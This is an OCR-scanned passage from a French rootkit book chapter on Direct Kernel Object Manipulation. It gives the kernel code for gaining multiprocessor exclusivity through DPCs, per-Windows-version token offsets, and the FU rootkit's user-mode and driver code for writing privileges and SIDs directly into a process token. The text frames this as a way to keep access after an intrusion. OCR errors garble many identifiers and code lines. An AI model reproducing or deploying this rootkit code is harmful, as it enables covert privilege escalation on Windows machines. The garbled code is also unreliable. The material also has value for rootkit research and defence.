Currentlrql = KeGetCurrentlrqlQ; 

Oldlrql = Currentlrql; if 
(Currentlrql < DISPATCH_LEVEL) 

KeRai sel rql (DISPATCH_L EVE L, &01dlrql); 

Vous devez maintenant elever l’IRQL de tous les autres processeurs. Pour notre 
objectif, nous utiliserons un appel differe, ou DPC (Deferred Procedure Call). 
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Le gros avantage de recourir a un DPC est qu’il s’ execute au niveau dispatch_level. 
Un autre point important est que vous pouvez specifier le processeur devant l’executer. 
Nous allons creer un DPC pour chacun des autres processeurs. Une simple boucle for 
repetant faction pour le nombre total de processeurs, donne par KeNumberProcessors, 
remplira l’objectif. 

Avant de penetrer dans la boucle, nous devons appeler KeCurrentProcessorNumber pour 
determiner le processeur sur lequel le thread maitre du rootkit s’ execute. Puisque nous 
avons deja eleve son niveau d’IRQL et que le thread du rootkit effectuera tout le 
travail de modification des ressources partagees, tel le changement des listes de 
processus et de drivers, nous ne voulons pas qu’il execute notre DPC. Dans la boucle 
FOR, initialisez chaque DPC en appelant KelnitializeDpc. Cette fonction rc^oit 
l’adresse de la fonction dont le code sera execute par le DPC. Dans notre cas, c’est 
RaiseCPUIrqlAndWait . 

Apres P initialisation du DPC, la fonction KeSetTargetProcessorDPC assigne un 
processeur distinct pour chaque DPC que le rootkit a cree. L’ execution de ces DPC 
n’est qu’une affaire de placement de chaque appel dans la file d’attente des DPC pour 
le processeur correspondant au moyen d’un appel de KelnsertQueueDpc. A la fin de la 
fonction GainExclusivity se trouve une petite boucle WHILE qui compare la valeur dans 
NumberOf RaisedCPU au nombre de processeurs moins 1. Lorsque ces valeurs sont egales, 
tous les processeurs ont ete traites et le rootkit dispose d’une priorite prenant le pas sur 
tout, sauf sur les DIRQL, mais ceux-ci ne sont pas problematiques. 

Voici le code GainExclusivity : 

PKDPC GainExclusivity () 


NTSTATUS ns; 

UL0NG u_currentCPU; 

CCHAR i; 

PKDPC pkdpc, temp_pkdpc; 

if (KeGetCurrentIrql() != DISPATCH_LEVEL) return NULL; 

// Initialise les deux variables globales a zero 
InterlockedAnd(&AllCPURaised, 0); 

InterlockedAnd(&NumberOfRaisedCPU, 0) ; 

// Alloue de la place pour nos DPC. En memoire NonPagedPool ! 
temp_pkdpc = (PKDPC) ExAllocatePool(NonPagedPool, KeNumberProcessors * 
sizeof (KDPC)); 
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if (temp_pkdpc == NULL) 

return NULL; //STATUS_INSUFFICIENT_RESOURCES; 
u_cunrentCPU = KeGetCurrentProcessorNumberQ; pkdpc 
= temp_pkdpc; 

for (i = 0; i < KeNumberProcessors; i++, *temp_pkdpc++) 

{ 

// Veillez a ne pas planifier de DPC sur le // processeur 
courant. Ceci provoquerait un deadlock, if (i != 
u_currentCPU) 

{ 

KeInitializeDpc(temp_pkdpc, 

RaiseCPUIrqlAndWait , 

NULL); 

// Definit le processeur cible pour le DPC. L'appel serait sinon // 
place dans la file d'attente du processeur courant // lors de l'appel 
de KelnsertQueueDpc . KeSetTargetProcessorDpc(temp_pkdpc , i); 
KeInsertQueueDpc(temp_pkdpc, NULL, NULL); 


while (InterlockedCompareExchange(&NumberOfRaisedCPU, 
KeNumberProcessors -1, KeNumberProcessors -1) 
KeNumberProcessors -1) 

{ 

_ asm nop; 

} 

return pkdpc; //STATUS_SUCCESS; 


Lorsque GainExclusivity est executee, RaiseCPUIrqlAndWait est executee par chaque 
DPC. Son role est juste d’incrementer d’une maniere atomique le nombre total de 
processeurs eleves au niveau dispatch level. Ensuite, elle attend dans une petite 
boucle jusqu’a ce qu’elle rcc;oi vc le signal lui indiquant qu’elle peut quitter en toute 
securite, ce signal etant la valeur l dans la variable AUCPURaised. 

///////////////////////////////////////////////////////////////// 
III III 
/ 

// RaiseCPUIrqlAndWait 

// 

// Description : Cette fonction est appelee lorsqu'un DPC est execute. 

// Elle s' execute alors au niveau DISPATCFI_LEVEL . Son role // consiste 
simplement a incrementer un compteur donnant // le nombre de processeurs ayant 
ete eleves au niveau // DISPATCFI_LEVEL . Elle attend ensuite dans une boucle le 
signal // lui permettant de mettre fin au DPC en toute securite, 

// liberant leprocesseur du niveau DISPATCH_LEVEL. 

RaiseCPUIrqlAndWait (IN PKDPC Dpc, 

IN PVOID DeferredContext, 

IN PVOID SystemArgumentl, 

IN PVOID SystemArgument2) 
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{ 

InterlockedIncrement(&NumberOfRaisedCPU); 

while( ! InterlockedCompareExchange(&AllCPURaised, 1, 1)) 

{ 

_asm nop; 

} 

InterlockedDecrement(&NumberOfRaisedCPU); 


Votre rootkit peut maintenant modifier la liste partagee de processus ou de drivers. 
Lorsque vous avez fini votre travail, le thread principal du rootkit doit appeler 
ReleaseExclusivity pour liberer tous les DPC de leur petite boucle ainsi que la 

memoire qui aura ete allouee par GainExclusivity pour contenir les objets DPC. 
NTSTATUS ReleaseExclusivity(PVOID pkdpc) 

{ 

Interlockedlncrement(&AllCPURaised); // Chaque DPC decremente 

A *maintenant 

// le compteur et quitte. 

// Libere la memoire allouee pour contenir les DPC 
while(InterlockedCompareExchange(&NumberOfRaisedCPU, 0, 0)) 

I 

asm nop; 

} 

if (pkdpc != NULL) 

{ 

ExFreePool( pkdpc); 
pkdpc = NULL; 

} 

return STATUS_SUCCESS; 

} 

Les informations de cette section vous ont permis de comprendre comment vous 
detacher de list entry facilement et avec une bonne securite pour le thread. Un 
processus dissinrule n’est toutefois pas tres utile s’il ne possede pas le niveau de 
privileges necessaire pour realiser ce pour quoi il a ete prevu. Dans la prochaine 
section, vous apprendrez a augmenter les privileges de n’importe quel jeton d’acces 
ainsi qu’a ajouter n’importe quel groupe au jeton. 


Augmentation des privileges du jeton d'acces d'un processus 

Le jeton d’un processus est capital pour determiner ce que le processus a le droit de 
faire et ce qui lui est interdit. Ce jeton est derive de la session de l’utilisateur qui a 
engendre le processus. Tous les threads d’un processus peuvent avoir leur propre jeton 
mais la plupart utilisent par defaut celui du processus. 
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Un des objectifs importants des developpeurs de rootkits est d’obtenir un acces 
privilegie. Cette section decrit comment obtenir des privileges superieurs pour un 
processus normal apres que le rootkit a ete installe. Ceci peut etre utile car apres vous 
etre infiltre et avoir installe le rootkit, vous voudrez revenir a des conditions plus 
normales pour que votre vecteur d’ entree initial ne soit pas decouvert. 

Le code presente dans cette section conceme uniquement un jeton de processus, mais 
il pourrait tout aussi bien s’appliquer a un jeton de thread. La seule difference a trait a 
la localisation du jeton. Tous les autres codes et techniques conviennent dans les deux 
cas. 

Modification d'un jeton de processus 

Pour modifier un jeton de processus, TAPI Win32 prevoit plusieurs fonctions, parmi 
lesquelles OpenProcessToken, AdjustTokenPrivileges et AdjustToken- Groups, qui 
requierent toutes certains privileges, tels que tokenaddustgroups et 
token adiust privileges. Cette section expose une fa$on d’ajouter des privileges et des 
groupes a un jeton sans disposer d’un acces privilegie a celui-ci. Une fois le rootkit 
installe, DKOM est le seul "privilege" que vous devez comprendre. 

Localiser un jeton 

Pour localiser le jeton, nous invoquons la fonction FindProcessEPROC vue plus haut a la 
section "Dissimulation de processus" afin de trouver l’adresse de la structure eprocess 
du processus dont le rootkit va modifier le jeton et ajoutons a cette adresse 1’ offset du 
pointeur de jeton. Le resultat sera l’emplacement contenant l’adresse du jeton dans 
eprocess. Cet offset varie selon les versions de Windows, comme indique au Tableau 
7.2. 


Tableau 7.2 : Offsets vers le PID et FUNK dans le bloc EPROCESS 



Windows NT Windows 2000 

Windows XP 

Windows XP SP2 

Windows 2003 

Offset du 

0x108 0xl2C 

0xC8 

0xC8 

0xC8 

pointeur de 





jeton 






Le membre de eprocess qui contient l’adresse du jeton a change entre Windows 2000 
(et les versions anterieures) et la nouvelle version de Windows XP 
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(et les versions ulterieures). II s’agit a present d’une structure ex fast ref qui est 
definie comme suit : 

typedef struct _EX_FAST_REF { 
union { 

PVOID Object; 

ULONG RefCnt : 3; 

ULONG Value; 

}; 

} EX_FAST_REF, *PEX_FAST_REF; 

Pour localiser le jeton, nous utilisons la fonction FindProcessToken suivante : 

DWORD FindProcessToken (DWORD eproc) { 

DWORD token ) 

_ asm { 

moveax, eproc; 

addeax, T0KEN0FFSET; ; // Offset du pointeur de jeton dans EPROCESS 
moveax, [eax]; 

andeax, 0xfffffff8; // Voir la definition de EX FAST REF 
movtoken , eax ; 

} 

return token; 

} 

Notez que dans ce code assembleur en ligne nous laissons de cote les trois bits de 
poids faible de l’adresse du jeton grace a l’instruction and eax, fffffffs. En effet, 
les adresses de jeton se terminent toujours avec les trois bits de poids faible a 0. Par 
consequent, bien que le membre representant l’adresse ait change, nous pouvons 
toujours recuperer l’adresse et il n’y aura aucune incidence si nous changeons les 
trois demiers bits sur les anciennes versions du systeme d’ exploitation. 

Modifier un jeton 

Les jetons sont tres difficiles a modifier. Ils sont composes d’une partie statique qui, 
comme son nom l’indique, ne change pas de taille et possede une structure bien 
definie et d’une partie variable qui est nettement moins previsible et contient tous les 
privileges et SID appartenant au jeton. Le nombre exact de privileges et de SID 
differe selon les elements d’identification de l’utilisateur qui a genere le processus (ou 
de l’utilisateur dont le processus usurpe l’identite). Vous comprendrez rnieux le code 
presente plus loin en ayant a l’esprit la structure d’un jeton (voir Figure 7.4). 

Plusieurs offsets sont necessaires pour modifier le jeton. Les plus importants sont 
donnes au Tableau 7.3. Par exemple, pour ajouter au jeton un privilege ou un SID de 
groupe, il faut incrementer le compteur correspondant dans la partie statique. 
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Figure 7.4 

Structure memoire 
d'un jeton de 


JETON 


Partie statique 


Privileges - 


Groupes — 


LUID 


Attribut 

LUID 


Attribut 

LUID 


Attribut 

LUID 


Attribut 

SID 


Attribut 

P_SID 


Attribut 

P_SID 


Attribut 


SID 



SID 



SID 



— Partie variable 


Comme evoque precedemment, tous les privileges et SID sont stockes dans la partie 
variable puisque leur taille peut changer d’un jeton a l’autre. Un des offsets du jeton 
contient l’adresse de cette partie et sa taille. 


Tableau 7.3 : Offsets importants dans le jeton du processus 



Windows NT 

Windows 2000 

Windows XP 

Windows XP SP2 

Windows 2003 

Offset de 
AUTHJD 

0X18 

0x18 

0x18 

0x18 

0x18 

Offset du 

0x30 

0x3C 

0x40 

0x4C 

0x4C 

compteur de SID 
Offset de l’adresse 
du SID 

0x48 

0x58 

0x5C 

0x68 

0x68 

Offset du 

0x34 

0x44 

0x48 

0x54 

0x54 

compteur de 
privileges 

0x50 

0x64 

0x68 

0x74 

0x74 

Offset de l’adresse 
du privilege 
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Aj outer des privileges a un jeton 

Pour ajouter des privileges ou en activer qui etaient desactives, nous pouvons employer 
un programme de niveau utilisateur pour envoyer des commandes IOCTL au rootkit. 
Une portion de code utilisateur est ici tres utile car nombre des fonctions de l’API 
Win32 relatives aux jetons, privileges et SID ne sont pas documentees dans le noyau. 

Le rootkit en mode noyau re£oit les informations de privileges de la part du 
programme utilisateur et les ecrit directement dans la memoire du jeton. Souvenez- 
vous que, comme nous ne passons pas par le Gestionnaire d’ objets de Windows pour 
ecrire en memoire, nous pouvons assigner au jeton tous les privileges et groupes que 
nous voulons. 

Avant d’indiquer au rootkit quels privileges ajouter ou activer dans un processus 
donne, vous devez en apprendre un peu plus sur les privileges d’un processus. Voici 
certains des privileges listes dans le fichier d’en-tete Ntddk. h (a noter qu’ils ne sont 
pas tous applicables a des processus) : 

H SeCreateTokenPrivilege ; 

B SeAssignPrimaryTokenPrivilege ; 

B SeLockMemoryPrivilege ; 

B SelncreaseQuotaPrivilege ; 

B SeUnsolicitedlnputPrivilege ; 

S SeMachineAccountPrivilege ; 

B SeTcbPrivilege ; 

B SeSecurityPrivilege ; 

B SeTakeOwnershipPrivilege ; 

S SeLoadDriverPrivilege ; 

B SeSystemProfilePrivilege ; 

B SeSystemtimePrivilege ; 


H SeProfileSingleProcessPrivilege ; 
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BSelncreaseBasePriorityPrivilege ; ii 
SeCreatePagef ilePrivilege ; 

M SeCreatePermanentPrivilege ; 

■ SeBackupPrivilege ; 

■ SeRestorePrivilege ; 

0 SeShutdownPrivilege ; 

■ SeDebugPrivilege ; 

EESeAuditPrivilege ; 

H SeSystemEnvironmentPrivilege ; 

B SeChangeNotifyPrivilege ; 

BSeRemoteShutdownPrivilege ; 

B SeUndockPrivilege ; 

B SeSyncAgentPrivilege ; 

3 SeEnableDelegationPrivilege ; 

Nous pouvons utiliser l’outil Process Explorer de Sysintemals 1 pour visualiser les 
privileges courants d’un processus. Remarquez a la Figure 7.5 que de nombreux 
privileges sont desactives par defaut. 

Le fait que de nombreux privileges soient desactives par defaut lors de la creation d’un 
jeton est commode pour lui ajouter des privileges et des groupes. La raison est qu’il 
faut etre extremement prudent quand on ecrit directement en memoire. La taille du 
jeton ne doit pas augmenter car on ne sait pas ce que la memoire contient 
immediatement apres. Cette zone de memoire n’est peut-etre meme pas valide. En 
activant ou en ecrasant des privileges deja presents dans le jeton, cela evite 
d’ augmenter sa taille. Nous reviendrons sur ce point dans un moment. 


1. Process Explorer est disponible a l’adresse www.sysinternals.com/ntw2k/freeware/procexp.shtnil . 
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Figure 7.5 
Les parametres de 
securite contenus dans le 
jeton d'un processus. 
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Rootkit.com 

Vous pouvez telecharger le code suivant sous la forme du rootkit FU 
a partir de www.rootkit.com/vault/fuzen op/FU Rootkit.zip . 

La plupart des codes source de ce chapitre sont egalement 
disponibles sur ce site. 


Le code suivant est celui de la fonction main() du programme utilisateur. Cette 
fonction rcgoit l’option -prs ( Privilege Set ) de la part de P utilisateur, le PID du 
processus cible et les privileges a ajouter. Par exemple, f u -prs 8 SeDebugPrivi- lege 
SeShutdownPrivilege ajoutera les privileges SeDebugPrivilege et SeShut- downPrivilege au 
jeton du processus possedant le PID 8. Nous creons un tableau, priv array, dont la 
longueur correspond au nombre d’ arguments en ligne de commande, moins trois (pour 
fu, -prs et le PID). Chaque element du tableau occupe 32 octets (nous ne connaissons 
pas la taille de tous les privileges mais 32 devrait etre plus que suffisant). Nous 
passons ensuite le PID, priv array, et la taille du tableau a la fonction SetPriv, qui fait le 
reste du travail au niveau utilisateur. 

void maintint argc, char **argv) 

{ 

int i = 25; 
if (argc > 
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{ 

If (InitDriver( ) == -1) return; 

If (strcmp( (char *)argv[l]j "-prl") == 0) 

ListPrivf); 

else if (strcmp( (char *)argv[l]j "-prs") == 0) 

{ 

char *priv_array = NULL; 

DWORD pid = 0; if (argc > 2) 
pid = atoi(argv[2]); 

priv_array = (char *)calloc(argc-3j 32); 
if (priv_array == NULL) 

{ 

fprintf (stderr, "Failed to allocate memory! \n"); 
return; 

} 

int size = 0; 

for(int i = 3; i < argc; i++) 

{ 

if (strncmp(argv[i ] , "Se", 2) == 0) 

{ 

strncpy( (char *)priv_array + ((i-3)*32)., argvfi], 31); 
size++; 

} 

} 

SetPrivfpid, priv_array, size*32); 
if (priv_array) free(priv_array); 

} 


Le code precedent verifie que le nom de chaque privilege ajoute debute bien par Se, 
ce qui doit etre le cas pour tout privilege valide. Puis nous copions les nouveaux 
privileges valides dans un tableau et invoquons la fonction SetPriv, qui 
communiquera avec le driver du rootkit via une commande IOCTL. 

La fonction SetPriv alloue et initialise un tableau d’ elements lu id and attributes a 
passer au driver. Chacun des privileges de la liste presentee plus haut dans cette 
section possede un identifiant LUID (Locally Unique Identifier ). Etant donne que ces 
LUID sont uniques seulement localement, nous ne pouvons pas les coder en dur dans 
le rootkit. La fonction LookupPrivilegeValue rcyoit le nom du systeme (ici NULL) sur 
lequel rechercher la valeur de privilege, le nom du privilege passe par le programme 
utilisateur en ligne de commande et un pointeur pour recevoir la valeur LUID. Le 
SDK (Software Development Kit ) donne du LUID la definition suivante : "Valeur de 
64 bits garantie comme etant unique 
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seulement sur le systeme sur lequel elle a ete generee." A noter qu’elle peut aussi 
changer si l’ordinateur est redemarre. 

Les attributs definissent si le privilege associe a un LUID donne est active ou 
desactive. Le simple fait qu’un privilege soit present dans un jeton ne signifie pas que 
ce dernier possede ce privilege. Un privilege peut se trouver dans l’un des trois etats 
suivants, tel que specifie par son attribut : 

#def ine SE_PRIVILEGE_DISABLED (0X00000000L) 

#def ine SE_PRIVILEGE_E NAB LED_BY_DE FAULT (0X00000001L) 

#def ine SE_PRIVILEGE_ENABLED (0X00000002L) 

Voici un exemple de la structure luid_and_attributes : 

typedef Struct _LUID_AND_ATTRIBUTES { 

LUID Luid; 

DWORD Attributes; 

} LUID_AND_ATTRIBUTES, *PLUID_AND_ATTRIBUTES; 

Definirle membre LUID avec la valeur retoumee par LookupPrivilegeValue et Lattribut 
avec la valeur se_privilege_enabled_by_default initialise le tableau, qui est alors pret a 
etre passe au rootkit. Nous utilisons pour cela la fonction Device- ioControl avec le 
parametre ioctl_rootkit_setpriv : 

DWORD SetPriv(DWORD pid, void *priv_luids, int priv_size) 

{ 

DWORD d_bytesRead; 

DWORD success; 

PLUID_AND_ATTRIBUTES pluid_array; 

LUID pluid; 

VARS dvars; 

if ( ! Initialized) 

return E RROR_NOT_RE ADY ; if (priv_luids == NULL) 
return ERROR_INVALID_ADDRESS; pluid_array = 

(PLUID_AND_ATTRIBUTES) calloc(priv_size/32, 
sizeof ( LUID_AND_ATTRIBUTES) ) ; if (pluid_array == NULL) 
return ERROR_NOT_ENOUGH_MEMORY; 

DWORD real_luid = 0; 

for (int i = 0; i < priv_size/32; i++) 

{ 

if (LookupPrivilegeValue(NULL, (char *)priv_luids + (i*32)j 

&pluid) ) 

{ 

memcpy(pluid_array+ij &pluidj sizeof (LUID) ) ; 

*(pluid_array+i)) .Attributes = SE_PRIVILEGE_ENABLED_BY_DE FAULT ; 
real_luid++; 

} 


1 
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dvars .the_pid = pid; dvans.pluida = 
pluid_array; dvars. num_luids = 
real_luid; success = 

DeviceIoControl(gh_Device, 

IOCTL_ROOTKIT_SETPRIVj 
(void *) &dvars, 
sizeof (dvars ) , 

NULL, 

°J 

&d_bytesRead, 

NULL) ; 

if (pluid_array) 
free(pluid_array); 
return success; 

} 

Le code du noyau contient le gestionnaire de la commande ioctl_rootkit_setpriv. II 
regoit le tableau d’ elements luid and attributes et le PID du processus auquel les 
privileges doivent etre ajoutes. II invoque FindProcess- EPROC pour localiser la 
structure EPROCESS correspondant au PID puis Find- ProcessToken pour localiser 
l’adresse du jeton du processus. 

Maintenant que nous disposons du jeton, nous devons obtenir la taille du tableau 
luid and attributes qu’il inclut. Pour cela, nous lisons la valeur qui se trouve a 
P offset du compteur de privileges. Cette valeur est tres importante et sera utilisee dans 
les boucles for du code qui va suivre. 

Ensuite, nous recuperons l’adresse du debut du tableau d’elements luid and 
attributes. Souvenez-vous qu’un jeton est constitue d’une partie de longueur fixe et 
d’une partie de longueur variable. Le debut de ce tableau correspond au debut de la 
partie variable. Les deux parties sont contigues en memoire. 

Avec l’adresse du tableau dans le jeton, le compteur de privileges et les nouvelles 
valeurs luid and attributes a ajouter, nous pouvons continuer a examiner le code du 
rootkit. Comme il a ete dit, nous ne pouvons pas allouer de memoire pour les 
nouveaux privileges, et nous ne pouvons pas agrandir le jeton (puisque la memoire 
adjacente a P emplacement du jeton risque de ne pas etre valide). 

Comme vous avez pu le voir dans le resultat de Process Explorer a la Figure 7.5, une 
majorite des privileges presents dans un jeton typique sont desactives. L’idee est 
d’activer un privilege existant s’il correspond a Pun de ceux contenus dans le tableau 
d’elements luid and attributes passe au rootkit et de remplacer un privilege desactive 
qui ne figure pas dans le nouveau tableau par un privilege a ajouter. 
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A cette fin, nous creons deux ensembles de boucles FOR imbriquees. Le premier 
examine chaque privilege passe au rootkit et, s’ il correspond a un privilege qui existe 
deja dans le jeton, definit ce dernier comme etant active. Le second est utilise lorsque 
le privilege n’est pas present dans le jeton mais qu’il y a d’autres privileges desactives 
pouvant etre remplaces. Grace a cette methode, nous pouvons ajouter des privileges 
sans utiliser plus de memoire. 

// Si le privilege a ajouter existe deja dans le jeton, nous modifions // 
simplement son champ d'attribut. 

for (luid_attr_count = 0; luid_attr_count < d_PrivCount; luid_attr_count++) 

{ 

for (d_Luidstlsed = 0; d_Luidsllsed < nluids; d_Luidstlsed++) 

{ 

if ( (luids_attr[d_Luidsllsed] .Attributes != 0xffffffff) && 
(memcmp(&luids_attr_orig[luid_attr_count] . Luid, 

&luids_attr[d_Luidsllsed] . Luid, sizeof ( LUID) ) == 0)) 

{ 

(PLUID_AND_ATTRIBUTES)luids_attr_orig) [luid_attr_count] .Attributes = 

( (PLUID_AND_ATTRIBUTES)luids_attr) [d_Luidstlsed] .Attributes; 

( (PLUID_AND_ATTRIBUTES)luids_attr) [d_Luidstlsed] .Attributes = 

0xffffffff ; 



// Aucun des nouveaux privileges ne se trouve deja dans le jeton, 

// aussi nous remplapons des privileges desactives. 

for (d_Luidsllsed = 0; d_LuidsUsed < nluids; d_LuidsUsed++) 

{ 

if ( ( (PLUID_AND_ATTRIBUTES)luids_attr) [d_LuidsUsed] .Attributes != 

0xffffffff ) 

{ 

for (luid_attr_count = 0; luid_attr_count < d_PrivCount; 
luid_attr_count++) 

{ 

// Si le privilege etait desactive, c'est qu'il n'etait pas // requis. 
Nous reutilisons done son espace pour un // nouveau privilege. Nous ne 
pounrons peut-etne pas ajouter // tous les privileges voulus en raison 
de limitations d'espace, 

// aussi nous les organisons par ordre d' importance decroissante, 
if ( (luids_attr[d_LuidsUsed] .Attributes != 0xffffffff) && 

( ( (PLUID_AND_ATTRIBUTES)luids_attr_orig) [luid_attr_count] . Attributes 
= = 0x00000000)) 

{ 

( (PLUID_AND_ATTRIBUTES)luids_attr_orig) [luid_attr_count] . Luid = 

( (PLUID_AND_ATTRIBUTES)luids_attr) [d_LuidsUsed] . Luid; 
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( (PLUID_AND_ATTRIBUTES)luids_attr_orig) [luid_attr_count] .Attributes = 
( (PLUID_AND_ATTRIBUTES)luids_attr) [d_LuidsUsed] .Attributes; 

( (PLUID_AND_ATTRIBUTES)luids_attr) [d_Luidsllsed] .Attributes = 
Oxffffffff ; 


break; 

Ajouter des SID a un jeton 

L’ajout de SID a un jeton est la modification la plus difficile qui soit. En raison des 
limitations d’espace evoquees precedemment, nous devons nous en tenir au 
remplacement de privileges desactives par les nouveaux SID. 

En plus de contenir les SID eux-memes, un jeton de processus inclut aussi d’autres 
d’ informations les concemant, telles qu’un tableau de structures sid and attributes 
qui ressemble au tableau de privileges. Le premier membre de cette structure est 
simplement un pointeur vers le SID en memoire. Pour introduire un nouveau SID dans 
un jeton, il faut ajouter une entree au tableau d’ elements sid and attributes., ajouter 
le SID lui-meme et recalculer tous les pointeurs du tableau pour refleter le changement 
opere en memoire. 

Voici une structure sid_and_attributes : 

typedef struct _SID_AND_ATTRIBUTES { 

PSID Sid; 

DWORD Attributes; 

} SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES; 

Pour faire les choses proprement, il convient d’utiliser un espace de travail en memoire 
de la meme taille que la partie variable du jeton. Cet espace peut etre alloue dans le 
pool pagine. Lorsque nous aurons termine, nous le copierons dans la partie variable 
existante du jeton puis libererons la memoire. Nous allons avoir besoin des compteurs 
de privileges et de SID, de P emplacement des tableaux de privileges et de SID et du 
debut et de la taille de la partie variable du jeton. 

A partir de l’adresse du jeton, le code suivant initialise les variables requises et alloue 
E espace de travail ; 

i_PrivCount = *(int *) (token + PRIVC0UNT0FFSET); i_SidCount = *(int 
*) (token + SIDC0UNT0FFSET); 

luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDR0FFSET) ; varbegin 
= (PV0ID) luids_attr_orig; 

i_VariableLen = *(int *) (token + PRIVCOUNTOFFSET + 4); 
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sid_ptr_old = *(PSID_AND_ATTRIBUTES *) (token + SIDADDROFFSET) ; 

II Alloue de l'espace de travail temporaire varpart = 

ExAllocatePool(PagedPool, i_VariableLen); if (varpart == NULL) 

{ 

IoStatUS- >StatUS = STATUS_INSUFFICIENT_RESOURCES; 
break; 

} 

RtlZeroMemory(varpart , i_VariableLen) ; 

Ensuite, le rootkit libere de la memoire dans le jeton en copiant uniquement les 
privileges actives vers l’espace temporaire, varpart. En gardant un compteur des 
privileges copies, nous savons exactement quelle quantite d’espace a ete liberee. 

II se pourrait que l’espace libere dans le jeton ne suffise pas pour contenir les 
nouveaux SID et leurs structures sid_and_attributes j auquel cas peu de choix 
s’ offrent a nous. Le rootkit pourrait simplement retoumer une erreur indiquant que les 
ressources du jeton sont insuffisantes pour pouvoir ajouter un SID, comme dans le 
code ci-apres. 

Autrement, nous pourrions remplacer certains des privileges actives par de nouveaux 
SID, ce qui pourrait avoir un effet indesirable. En effet, si nous ecrasons un privilege 
dont le processus a besoin, ce dernier ne pourra plus fonctionner correctement. 

Depuis Windows 2000, des SID restreints peuvent exister a la fin de la partie variable 
d’un jeton, leur fonction etant de limiter explicitement certains utilisateurs ou groupes 
a certaines actions. Ils sont neanmoins tres rarement utilises. A 1’ instar des privileges 
desactives, ces SID n’ont pour nous aucune utilite, aussi pouvons-nous completer le 
code pour qu’il libere egalement l’espace qu’ils occupent. 

// Copie uniquement les privileges actives. Nous remplacerons // les 
privileges desactives par les nouveaux SID. 

for(luid_attr_count=0; luid_attr_count<i_PrivCount; luid_attr_count++) 

{ 

if ( ( (PLUID_AND_ATTRIBUTES)varbegin) [luid_attr_count] .Attributes ! = 
SE_PRIVILEGE_DISABLED) 

{ 

( (PLUID_AND_ATTRIBUTES)varpart) [i_LuidsUsed] . Luid = 

( (PLUID_AND_ATTRIBUTES)varbegin) [luid_attr_count] . Luid; 

( (PLUID_AND_ATTRIBUTES)varpart) [i_LuidsUsed] .Attributes = 

( (PLUID_AND_ATTRIBUTES)varbegin) [luid_attr_count] .Attributes; 
i_Luids(Jsed++; 

} 

} 

// Calcule l'espace requis dans le jeton i_spaceNeeded = i_SidSize + 
sizeof (SID_AND_ATTRIBUTES) ; 
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i_spaceSaved = (i_PrivCount - i_LuidsUsed)* 

Sizeof ( LUID_AND_ATTRIBUTES) ; 

i_spaceUsed = i_LuidsUsed * sizeof ( LUID_AND_ATTRIBUTES) ; 

II II n'y a pas assez de place pour les nouveaux SID. Nous ignorons II tous les 
SID restreints dans la partie variable, if (i_spaceSaved < i_spaceNeeded) 

{ 

ExFreePool(varpart) ; 

IoStatUS->StatUS = STATUS_INSUFFICIENT_RESOURCES; 
break; 

} 

Le code suivant copie dans 1’espace temporaire toutes les structures sid and attri- 
butes existantes. La boucle for parcourt le tableau et rectifie comme il se doit les 
pointeurs de SID : 

RtlCopyMemory( (PV0ID) ( (DWORD) varpart+i_spacetlsed) , 

(PV0ID) ( (DWORD)varbegin + (i_PrivCount * 
sizeof (LUID_AND_ATTRIBUTES) ) ), i_SidCount * 

Sizeof (SID_AND_ATTRIBUTES) ) ; 

for (sid_count = 0; sid_count < i_SidCount; sid_count++) 

{ 

( (PSID_AND_ATTRIBUTES) ( (DWORD) varpart+(i_spaceUsed ) ) ) [sid_count] . Sid = 

(PSID) (( (DWORD) sid_ptr_old[sid_count] .Sid) - ((DWORD) i_spaceSaved) + 

( (DWORD) sizeof (SID_AND_ATTRIBUTES) ) ) ; 

( (PSID_AND_ATTRIBUTES) ( (DWORD)varpart+(i_spaceUsed) ) ) [sid_count] 

.Attributes = sid_ptr_old[sid_count] .Attributes; 

} 

II nous reste encore a definir les nouvelles entrees sid and attributes en assignant au 
champ d’attribut la valeur 0x00000007 afin de rendre les nouveaux SID obligatoires. 
Comme nous ajoutons les SID apres ceux existants, nous devons calculer la taille du 
dernier SID. Pour cela, nous partons de l’adresse de debut de ce SID, que nous 
trouvons dans la demiere entree sid and attributes, et la soustrayons de la taille 
totale de la partie variable du jeton (en ignorant la presence eventuelle de SID 
restreints). A partir de cette taille, nous pouvons calculer la valeur du pointeur du 
nouveau SID : 

// Definit la nouvelle entree SID_AND_ATTRIBUTES SizeOf LastSid = 
(DWORD)varbegin + i_VariableLen; 

SizeOf LastSid = SizeOf LastSid - (DWORD) 

( (PSID_AND_ATTRIBUTES)sid_ptr_old) [i_SidCount-l ] .Sid; 

( (PSID_AND_ATTRIBUTES) ( (DWORD) varpart+(i_s pa ceUsed) ) ) [i_SidCount ] .Sid = 

(PSID) ( (DWORD) ( (PSID_AND_ATTRIBUTES) 

(( DWORD) varpart+( i_spaceUsed) ) ) [i_SidCount-l] .Sid + SizeOf LastSid); 

( (PSID_AND_ATTRIBUTES) ( (DWORD)varpart+(i_spaceUsed) ) ) [i_SidCount] .Attributes 
= 0x00000007 ; 
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Nous copions maintenant l’espace de travail, varpart, dans le jeton, apres quoi ce 
dernier contiendra tous les privileges actives et toutes les entrees sid_and_attributes 
existantes. Ensuite, nous copierons les nouveaux SID a la suite : 

// Copie les anciens SID mais fait de la place pour les nouveaux SizeOfOldSids 
= (DWORD)varbegin + i_VariableLen; 

SizeOfOldSids = SizeOfOldSids - (DWORD) 

( (PSID_AND_ATTRIBUTES) sid_ptr_old) [0] . Sid; 

RtlCopyMemory( (VOID UNALIGNED *) ( (DWORD) varpart + 

(i_spaceUsed)+( (i_SidCount+l)* 

Sizeof (SID_AND_ATTRIESUTES) ) ) , 

(CONST VOID UNALIGNED*) 

( (DWORD)varbegin+(i_PrivCount * 

sizeof ( LUID_AND_ATTRIESUTES) ) + (i_SidCount* 

sizeof (SID_AND_ATTRIBUTES) ) ) , SizeOfOldSids); 

// Copie le nouveau contenu sur l'ancien RtlZeroMemory(varbegin, 
i_VariableLen) ; 

RtlCopyMemory(varbegin, varpart, i_VariableLen); 

// Copie les nouveaux SID a la suite des anciens 
RtlCopyMemory( ( (PSID_AND_ATTRIBUTES) ( (DWORD) varbegin + 

(i_spaceUsed) ) ) [i_SidCount] .Sid, psid, i_SidSize); 

Comme ultime etape, nous devons rectifier les compteurs et les pointeurs dans la partie 
statique du jeton et liberer la memoire de l’espace de travail. Etant donne que le 
nombre de SID et de privileges a change dans le jeton, il faut modifier leurs offsets. 
L’emplacement du tableau d’elements luid and attributes ne change pas car il se 
trouve au debut de la partie variable, mais le pointeur vers le tableau d’elements 
